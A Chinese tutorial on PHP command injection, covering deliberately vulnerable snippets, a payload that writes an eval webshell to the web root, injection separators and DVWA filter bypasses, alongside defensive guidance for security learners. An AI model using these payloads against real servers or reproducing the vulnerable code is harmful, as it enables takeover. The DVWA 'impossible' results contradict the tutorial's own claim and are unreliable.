1. 程式人生 > 實用技巧 >4-8 命令注入(命令執行)

4-8 命令注入(命令執行)

4-8 命令注入(命令執行)

命令注入,又稱命令執行漏洞。(RCE,remote command execute)

1. 漏洞原理

成因:程式設計師使用後端指令碼語言(如:PHP、ASP)開發應用程式的過程中,雖然指令碼語言快速、方便,但也面臨著一些問題,如:無法接觸底層。如開發一些企業級的應用時需要去呼叫一些外部程式,而當呼叫這些外部程式(系統shell命令或者exe等可執行檔案)時,就會用到一些函式去執行系統命令。

原理:web應用在呼叫這些函式執行系統命令的時候,在沒有做好過濾使用者輸入的情況下,如果使用者將自己的輸入作為系統命令的引數拼接到命令列中,就會造成命令注(命令執行)的漏洞。

造成命令注入(命令執行)的條件:

  1. 使用者輸入作為拼接

  2. 沒有足夠的過濾

  3. web應用原始碼中有相關的敏感函式

2. 漏洞危害

  1. 繼承web伺服器程式許可權(web使用者許可權),便可去執行系統命令

  2. 繼承web伺服器許可權,便可讀寫檔案等

  3. 反彈shell

  4. 控制整個網站

  5. 控制整個伺服器

3. PHP常見的敏感函式和語句

以下是一些能將字串當作系統命令來執行的PHP函式。

3.1 system()

system()函式能夠將字串作為OS命令執行,並自帶輸出到當前頁面的功能。

最簡單的存在system()命令注入漏洞的網頁原始碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str);
}
?>

POC:可以提交引數 ?cmd=ipconfig作為POC進行注入測試。

3.2 exec()

exec()函式也能將字串作為OS命令執行,但需要手動輸出執行結果。

最簡單的存在exec()命令注入漏洞的網頁原始碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str);
}
?>

POC:可以提交引數 ?cmd=ipconfig >> 1.txt 作為POC進行注入測試。

注意:exec()不但自帶輸出結果到當前頁面的功能,且即便使用print列印,返回的輸出結果也是有限的。故採可用>>來將結果匯入到一個檔案裡,再檢視檔案即可。

3.3 shell_exec()

shell_exec()函式也能將字串作為OS命令執行,但需要手動輸出執行結果。

最簡單的存在shell_exec()命令注入漏洞的網頁原始碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print shell_exec($str);
}
?>

POC:可以提交引數 ?cmd=ipconfig作為POC進行注入測試。

3.4 passthru()

passthru()函式也能將字串作為OS命令執行,並自帶輸出到當前頁面的功能。

最簡單的存在passthru()命令注入漏洞的網頁原始碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
passthru($str);
}
?>

POC:可以提交引數 ?cmd=ipconfig作為POC進行注入測試。

3.5 popen()

popen()也能夠執行OS命令,但是該函式不返回命令結果,而是返回一個檔案指標。

popen()函式用來開啟程序檔案指標,開啟一個該程序的管道,接下來便可以對該程序進行操作。

popen(command,mode)

  • command:必需。規定要執行的命令。

  • mode:必需。選擇模式。可能的值:

  • r:只讀

  • w:只寫(開啟並清空已有檔案或建立一個新檔案)

最簡單的存在popen()命令注入漏洞的網頁原始碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
popen($str,'r');
}
?>

POC:可以提交引數 ?cmd=ipconfig >> 1.txt 作為POC進行注入測試。

注意:popen()返回的是一個檔案指標,故採可用>>來將結果匯入到一個檔案裡,再檢視檔案即可。

3.6 反引號

反引號[``]內的字串也會被解析成OS命令。

最簡單的存在反引號[``]命令注入漏洞的網頁原始碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
}
?>

POC:可以提交引數 ?cmd=ipconfig作為POC進行注入測試。

4. 漏洞利用

命令注入漏洞,攻擊者直接繼承web使用者許可權,可以在伺服器上執行任意命令,危害特別大。

以下是幾種常見的利用方式,但利用方式不止這些,我們可以進行任何shell可以執行的操作。

  • 直接獲取webshell

    例如可以寫入一句話木馬: ?cmd=echo "<?php @eval($_REQUEST[777]); ?>" > D:\phpstudy\WWW\webshell.php

  • 顯示當前路徑

    例如可以提交引數 ?cmd=cd 來檢視當前路徑。

  • 讀檔案

    例如:?cmd=type c:\windows\system32\drivers\etc\hosts,來檢視系統hosts檔案。

  • 寫檔案

    例如可以提交引數 ?cmd=echo "<?php phpinfo(); ?>" > D:\software\shell.php

以下是在注入點用來執行多條語句的分割引數:

  1. | # 管道符號(豎線)作用是將符號前的程序輸出,並作為符號後進程的輸入。此處也可以用於執行多條命令

    用法: command 1 | command 2 他的功能是把第一個命令command 1執行的結果作為command 2的輸入傳給command 2,並且只打印Command 2執行的結果

  2. || # 可同時執行多條命令,當碰到執行正確的命令時,將不再執行後面的命令。相當於‘或’,出現一個正確就行。

  3. && # 可同時執行多條命令,當碰到執行錯誤的命令時,將不再執行後面的命令。相當於‘與’,出現一個錯誤就不行。

  4. & # 同時執行多條命令,不管命令是否執行成功

如:客戶端頁面是一個用來給客戶指定一個目標主機併發送ping它的頁面,所以此處很可能存在命令注入漏洞。

服務端原始碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
} //若是windows就直接ping,否則linux一類的得加-c 4來停止ping命令。
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
?>

我們可以提交引數 ?Submit=Submit&ip=192.168.1.1|net user 來進行POC檢測。

5. 漏洞防禦

  1. 儘量減少能命令執行的函式的使用,允許的話可直接在php的配置檔案php.ini中禁用

  2. 在使用命令執行的函式之前,首先對使用者輸入引數進行過濾

  3. 引數的值儘量使用引號包裹,並在拼接之前呼叫addslashes進行轉義

以下是一個過濾嚴格,不存在命令注入漏洞的伺服器端原始碼(核心):

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

相關過濾機制介紹:

Impossible級別的程式碼加入了Anti-CSRF token,同時對引數ip進行了嚴格的限制,只有諸如“數字.數字.數字.數字”的輸入才會被接收執行,因此不存在命令注入漏洞。以下是相關函式介紹:

  • stripslashes(string)

stripslashes函式會刪除字串string中的反斜槓,返回已剝離反斜槓的字串。

  • explode(separator,string,limit)

把字串打散為陣列,返回字串的陣列。引數separator規定在哪裡分割字串,引數string是要分割的字串,可選引數limit規定所返回的陣列元素的數目。

  • is_numeric(string)

檢測string是否為數字或數字字串,如果是返回TRUE,否則返回FALSE。

  • generateSessionToken()和checkToken()

generateSessionToken()用來生成Token,checkToken()則用來檢查Token是否正確和一致。

6. 漏洞例項

DVWA平臺的實驗command injection模組:

low級別:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令成功

  • 127.0.0.1||whoami # 注入命令成功

medium級別:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令不成功,檢視原始碼發現&&被過濾。

  • 127.0.0.1||whoami # 注入命令成功

  • 127.0.0.1&;&ipconfig # 注入命令成功

high級別:

  • 127.0.0.1|whoami # 注入命令成功,因為原始碼過濾的是'| '(豎線+空格),故我們不在豎線後加空格就可繞開過濾。

  • 127.0.0.1&whoami # 注入命令不成功

  • 127.0.0.1&&whoami # 注入命令不成功

  • 127.0.0.1||whoami # 注入命令不成功

impossible級別:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令不成功,檢視原始碼發現&&被過濾。

  • 127.0.0.1||whoami # 注入命令成功